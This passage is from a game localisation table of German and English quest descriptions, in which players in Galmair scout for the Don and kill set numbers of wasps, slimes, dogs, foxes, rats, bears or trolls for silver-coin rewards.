Description[GERMAN][136] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Bären. Die Belohnung ist acht Silbermünzen." Description[GERMAN][137] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Bären. Die Belohnung ist acht Silbermünzen." Description[GERMAN][138] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Bären. Die Belohnung ist acht Silbermünzen." Description[GERMAN][139] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Bären. Die Belohnung ist acht Silbermünzen." Description[GERMAN][140] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][141] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Bären. Die Belohnung ist sechzehn Silbermünzen." Description[GERMAN][142] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Bären. Die Belohnung ist sechzehn Silbermünzen." Description[GERMAN][143] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Bären. Die Belohnung ist sechzehn Silbermünzen." Description[GERMAN][144] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Bären. Die Belohnung ist sechzehn Silbermünzen." Description[GERMAN][145] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Bären. Die Belohnung ist sechzehn Silbermünzen." Description[GERMAN][146] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Bären. Die Belohnung ist sechzehn Silbermünzen." Description[GERMAN][147] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Bären. Die Belohnung ist sechzehn Silbermünzen." Description[GERMAN][148] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Bären. Die Belohnung ist sechzehn Silbermünzen." Description[GERMAN][149] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][150] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][151] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][152] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][153] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][154] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][155] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][156] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][157] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][158] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][159] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][160] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][161] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Bären. Die Belohnung ist vierundzwanzig Silbermünzen." Description[GERMAN][162] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][163] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Trolle. Die Belohnung ist zehn Silbermünzen." Description[GERMAN][164] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Trolle. Die Belohnung ist zehn Silbermünzen." Description[GERMAN][165] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Trolle. Die Belohnung ist zehn Silbermünzen." Description[GERMAN][166] = "Der Don benötigt Information. Erkundschafte die Gegend nach Informationen und töte vier Trolle. Die Belohnung ist zehn Silbermünzen." Description[GERMAN][167] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][168] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Trolle. Die Belohnung ist zwanzig Silbermünzen." Description[GERMAN][169] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Trolle. Die Belohnung ist zwanzig Silbermünzen." Description[GERMAN][170] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Trolle. Die Belohnung ist zwanzig Silbermünzen." Description[GERMAN][171] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Trolle. Die Belohnung ist zwanzig Silbermünzen." Description[GERMAN][172] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Trolle. Die Belohnung ist zwanzig Silbermünzen." Description[GERMAN][173] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Trolle. Die Belohnung ist zwanzig Silbermünzen." Description[GERMAN][174] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Trolle. Die Belohnung ist zwanzig Silbermünzen." Description[GERMAN][175] = "Die Gegend um Galmair wird stetig gefährlicher und das gefährdet die Einnahmen des Dons. Erkundschafte die Gegend nach Informationen und töte acht Trolle. Die Belohnung ist zwanzig Silbermünzen." Description[GERMAN][176] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[GERMAN][177] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][178] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][179] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][180] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][181] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][182] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][183] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][184] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][185] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][186] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][187] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][188] = "Auskunfsberichte werden gebraucht um Galmair's Sicherheit zu gewähren. Erkundschafte die Gegend nach Informationen und töte zwölf Trolle. Die Belohnung ist dreißig Silbermünzen." Description[GERMAN][189] = "Kehre zu Bula Glasha zurück um deine Belohnung zu erhalten." Description[ENGLISH][1] = "There is information to be gathered for the Don. Scout the area for information and kill four wasps, your reward is one silver coin." Description[ENGLISH][2] = "There is information to be gathered for the Don. Scout the area for information and kill four wasps, your reward is one silver coin." Description[ENGLISH][3] = "There is information to be gathered for the Don. Scout the area for information and kill four wasps, your reward is one silver coin." Description[ENGLISH][4] = "There is information to be gathered for the Don. Scout the area for information and kill four wasps, your reward is one silver coin." Description[ENGLISH][5] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][6] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight wasps, your reward is two silver coins." Description[ENGLISH][7] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight wasps, your reward is two silver coins." Description[ENGLISH][8] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight wasps, your reward is two silver coins." Description[ENGLISH][9] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight wasps, your reward is two silver coins." Description[ENGLISH][10] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight wasps, your reward is two silver coins." Description[ENGLISH][11] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight wasps, your reward is two silver coins." Description[ENGLISH][12] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight wasps, your reward is two silver coins." Description[ENGLISH][13] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight wasps, your reward is two silver coins." Description[ENGLISH][14] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][15] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][16] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][17] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][18] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][19] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][20] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][21] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][22] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][23] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][24] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][25] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][26] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve wasps, your reward is three silver coins." Description[ENGLISH][27] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][28] = "There is information to be gathered for the Don. Scout the area for information and kill four slimes your reward is two silver coins." Description[ENGLISH][29] = "There is information to be gathered for the Don. Scout the area for information and kill four slimes your reward is two silver coins." Description[ENGLISH][30] = "There is information to be gathered for the Don. Scout the area for information and kill four slimes your reward is two silver coins." Description[ENGLISH][31] = "There is information to be gathered for the Don. Scout the area for information and kill four slimes your reward is two silver coins." Description[ENGLISH][32] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][33] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight slimes, your reward is four silver coins." Description[ENGLISH][34] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight slimes, your reward is four silver coins." Description[ENGLISH][35] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight slimes, your reward is four silver coins." Description[ENGLISH][36] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight slimes, your reward is four silver coins." Description[ENGLISH][37] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight slimes, your reward is four silver coins." Description[ENGLISH][38] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight slimes, your reward is four silver coins." Description[ENGLISH][39] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight slimes, your reward is four silver coins." Description[ENGLISH][40] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight slimes, your reward is four silver coins." Description[ENGLISH][41] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][42] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][43] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][44] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][45] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][46] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][47] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][48] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][49] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][50] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][51] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][52] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][53] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve slimes, your reward is six silver coins." Description[ENGLISH][54] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][55] = "There is information to be gathered for the Don. Scout the area for information and kill four dogs your reward is three silver coins." Description[ENGLISH][56] = "There is information to be gathered for the Don. Scout the area for information and kill four dogs your reward is three silver coins." Description[ENGLISH][57] = "There is information to be gathered for the Don. Scout the area for information and kill four dogs your reward is three silver coins." Description[ENGLISH][58] = "There is information to be gathered for the Don. Scout the area for information and kill four dogs your reward is three silver coins." Description[ENGLISH][59] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][60] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight dogs, your reward is six silver coins." Description[ENGLISH][61] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight dogs, your reward is six silver coins." Description[ENGLISH][62] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight dogs, your reward is six silver coins." Description[ENGLISH][63] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight dogs, your reward is six silver coins." Description[ENGLISH][64] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight dogs, your reward is six silver coins." Description[ENGLISH][65] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight dogs, your reward is six silver coins." Description[ENGLISH][66] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight dogs, your reward is six silver coins." Description[ENGLISH][67] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight dogs, your reward is six silver coins." Description[ENGLISH][68] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][69] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][70] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][71] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][72] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][73] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][74] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][75] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][76] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][77] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][78] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][79] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][80] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve dogs, your reward is nine silver coins." Description[ENGLISH][81] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][82] = "There is information to be gathered for the Don. Scout the area for information and kill four foxes your reward is four silver coins." Description[ENGLISH][83] = "There is information to be gathered for the Don. Scout the area for information and kill four foxes your reward is four silver coins." Description[ENGLISH][84] = "There is information to be gathered for the Don. Scout the area for information and kill four foxes your reward is four silver coins." Description[ENGLISH][85] = "There is information to be gathered for the Don. Scout the area for information and kill four foxes your reward is four silver coins." Description[ENGLISH][86] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][87] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight foxes, your reward is eight silver coins." Description[ENGLISH][88] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight foxes, your reward is eight silver coins." Description[ENGLISH][89] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight foxes, your reward is eight silver coins." Description[ENGLISH][90] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight foxes, your reward is eight silver coins." Description[ENGLISH][91] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight foxes, your reward is eight silver coins." Description[ENGLISH][92] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight foxes, your reward is eight silver coins." Description[ENGLISH][93] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight foxes, your reward is eight silver coins." Description[ENGLISH][94] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight foxes, your reward is eight silver coins." Description[ENGLISH][95] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][96] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][97] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][98] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][99] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][100] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][101] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][102] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][103] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][104] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][105] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][106] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][107] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve foxes, your reward is twelve silver coins." Description[ENGLISH][108] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][109] = "There is information to be gathered for the Don. Scout the area for information and kill four rats your reward is six silver coins." Description[ENGLISH][110] = "There is information to be gathered for the Don. Scout the area for information and kill four rats your reward is six silver coins." Description[ENGLISH][111] = "There is information to be gathered for the Don. Scout the area for information and kill four rats your reward is six silver coins." Description[ENGLISH][112] = "There is information to be gathered for the Don. Scout the area for information and kill four rats your reward is six silver coins." Description[ENGLISH][113] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][114] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight rats, your reward is twelve silver coins." Description[ENGLISH][115] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight rats, your reward is twelve silver coins." Description[ENGLISH][116] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight rats, your reward is twelve silver coins." Description[ENGLISH][117] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight rats, your reward is twelve silver coins." Description[ENGLISH][118] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight rats, your reward is twelve silver coins." Description[ENGLISH][119] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight rats, your reward is twelve silver coins." Description[ENGLISH][120] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight rats, your reward is twelve silver coins." Description[ENGLISH][121] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight rats, your reward is twelve silver coins." Description[ENGLISH][122] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][123] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][124] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][125] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][126] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][127] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][128] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][129] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][130] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][131] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][132] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][133] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][134] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve rats, your reward is eighteen silver coins." Description[ENGLISH][135] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][136] = "There is information to be gathered for the Don. Scout the area for information and kill four bears your reward is eight silver coins." Description[ENGLISH][137] = "There is information to be gathered for the Don. Scout the area for information and kill four bears your reward is eight silver coins." Description[ENGLISH][138] = "There is information to be gathered for the Don. Scout the area for information and kill four bears your reward is eight silver coins." Description[ENGLISH][139] = "There is information to be gathered for the Don. Scout the area for information and kill four bears your reward is eight silver coins." Description[ENGLISH][140] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][141] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight bears, your reward is sixteen silver coins." Description[ENGLISH][142] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight bears, your reward is sixteen silver coins." Description[ENGLISH][143] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight bears, your reward is sixteen silver coins." Description[ENGLISH][144] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight bears, your reward is sixteen silver coins." Description[ENGLISH][145] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight bears, your reward is sixteen silver coins." Description[ENGLISH][146] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight bears, your reward is sixteen silver coins." Description[ENGLISH][147] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight bears, your reward is sixteen silver coins." Description[ENGLISH][148] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight bears, your reward is sixteen silver coins." Description[ENGLISH][149] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][150] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][151] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][152] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][153] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][154] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][155] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][156] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][157] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][158] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][159] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][160] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][161] = "Intelligence reports are needed for the safety of Galmair. Scout the area for information and kill twelve bears, your reward is twenty four silver coins." Description[ENGLISH][162] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][163] = "There is information to be gathered for the Don. Scout the area for information and kill four trolls your reward is ten silver coins." Description[ENGLISH][164] = "There is information to be gathered for the Don. Scout the area for information and kill four trolls your reward is ten silver coins." Description[ENGLISH][165] = "There is information to be gathered for the Don. Scout the area for information and kill four trolls your reward is ten silver coins." Description[ENGLISH][166] = "There is information to be gathered for the Don. Scout the area for information and kill four trolls your reward is ten silver coins." Description[ENGLISH][167] = "Return to Bula Glasha to claim your reward." Description[ENGLISH][168] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight trolls, your reward is twenty silver coins." Description[ENGLISH][169] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight trolls, your reward is twenty silver coins." Description[ENGLISH][170] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight trolls, your reward is twenty silver coins." Description[ENGLISH][171] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight trolls, your reward is twenty silver coins." Description[ENGLISH][172] = "The area around Galmair has become increasing violent and this is hindering the Don's profits. Scout the area for information and kill eight trolls, your reward is twenty silver coins." 